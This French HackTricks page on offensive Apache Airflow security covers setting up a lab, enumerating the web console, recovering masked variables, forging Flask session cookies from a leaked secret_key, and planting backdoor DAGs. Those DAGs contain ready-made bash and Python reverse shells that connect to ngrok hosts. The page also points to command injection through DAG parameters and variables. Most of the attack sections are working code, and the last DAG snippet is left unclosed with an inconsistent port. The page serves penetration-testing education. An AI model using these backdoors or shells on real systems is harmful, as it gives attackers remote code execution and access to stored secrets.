Apache Airflow Security

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Informations de base

Apache Airflow sert de plateforme pour orchestrer et planifier des pipelines ou des workflows de données. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'organisation, de coordination et de gestion de workflows de données complexes provenant de différentes sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et exploitables. Ces ensembles de données sont largement utilisés par une multitude d'applications, y compris mais sans s'y limiter, des outils d'intelligence d'affaires, des modèles de science des données et d'apprentissage automatique, tous étant fondamentaux pour le fonctionnement des applications de big data.

Essentiellement, Apache Airflow vous permettra de planifier l'exécution de code lorsque quelque chose (événement, cron) se produit.

Laboratoire Local

Docker-Compose

Vous pouvez utiliser le fichier de configuration docker-compose depuis https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml pour lancer un environnement docker Apache Airflow complet. (Si vous êtes sur MacOS, assurez-vous de donner au moins 6 Go de RAM à la machine virtuelle docker).

Minikube

Une façon facile de exécuter Apache Airflow est de l'exécuter avec minikube :

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configuration d'Airflow

Airflow pourrait stocker des informations sensibles dans sa configuration ou vous pouvez trouver des configurations faibles en place :

pageAirflow Configuration

RBAC d'Airflow

Avant de commencer à attaquer Airflow, vous devriez comprendre comment fonctionnent les autorisations :

pageAirflow RBAC

Attaques

Énumération de la console Web

Si vous avez accès à la console Web, vous pourriez être en mesure d'accéder à certaines ou à l'ensemble des informations suivantes :

  • Variables (Des informations sensibles personnalisées pourraient être stockées ici)

  • Connexions (Des informations sensibles personnalisées pourraient être stockées ici)

  • Accédez à celles-ci dans http://<airflow>/connection/list/

  • Configuration (Des informations sensibles comme la secret_key et les mots de passe pourraient être stockées ici)

  • Liste des utilisateurs et des rôles

  • Code de chaque DAG (qui pourrait contenir des informations intéressantes)

Récupération des valeurs des variables

Les variables peuvent être stockées dans Airflow afin que les DAGs puissent accéder à leurs valeurs. C'est similaire aux secrets d'autres plateformes. Si vous avez suffisamment d'autorisations, vous pouvez y accéder dans l'interface graphique à http://<airflow>/variable/list/. Par défaut, Airflow affichera la valeur de la variable dans l'interface graphique, cependière, selon ceci, il est possible de définir une liste de variables dont la valeur apparaîtra comme des astérisques dans l'interface graphique.

Cependant, ces valeurs peuvent toujours être récupérées via CLI (vous devez avoir accès à la base de données), une exécution de DAG arbitraire, une API accédant au point de terminaison des variables (l'API doit être activée), et même l'interface graphique elle-même ! Pour accéder à ces valeurs depuis l'interface graphique, il suffit de sélectionner les variables que vous souhaitez accéder et de cliquer sur Actions -> Export. Une autre méthode consiste à effectuer une attaque par force brute sur la valeur masquée en utilisant le filtrage de recherche jusqu'à ce que vous l'obteniez :

Élévation de privilèges

Si la configuration expose_config est définie sur True, à partir du rôle Utilisateur et au-dessus peuvent lire la configuration sur le web. Dans cette configuration, la secret_key apparaît, ce qui signifie que tout utilisateur avec cette clé valide peut créer son propre cookie signé pour se faire passer pour n'importe quel autre compte utilisateur.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Backdoor DAG (RCE dans le worker Airflow)

Si vous avez un accès en écriture à l'endroit où les DAGs sont enregistrés, vous pouvez simplement en créer un qui vous enverra un shell inversé. Notez que ce shell inversé sera exécuté à l'intérieur d'un conteneur worker airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Porte dérobée DAG (RCE dans le planificateur Airflow)

Si vous configurez quelque chose à être exécuté à la racine du code, au moment de la rédaction de cet article, il sera exécuté par le planificateur quelques secondes après l'avoir placé dans le dossier du DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Création de DAG

Si vous parvenez à compromettre une machine à l'intérieur du cluster DAG, vous pouvez créer de nouveaux scripts DAG dans le dossier dags/ et ils seront répliqués dans le reste des machines à l'intérieur du cluster DAG.

Injection de Code DAG

Lorsque vous exécutez un DAG à partir de l'interface graphique, vous pouvez transmettre des arguments. Par conséquent, si le DAG n'est pas correctement codé, il pourrait être vulnérable à une Injection de Commande. C'est ce qui s'est passé dans ce CVE : https://www.exploit-db.com/exploits/49927

Tout ce que vous devez savoir pour commencer à rechercher des injections de commandes dans les DAG est que les paramètres sont accédés avec le code dag_run.conf.get("nom_param").

De plus, la même vulnérabilité pourrait se produire avec les variables (notez qu'avec suffisamment de privilèges, vous pourriez contrôler la valeur des variables dans l'interface graphique). Les variables sont accédées avec:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Si elles sont utilisées par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks :

Dernière mise à jour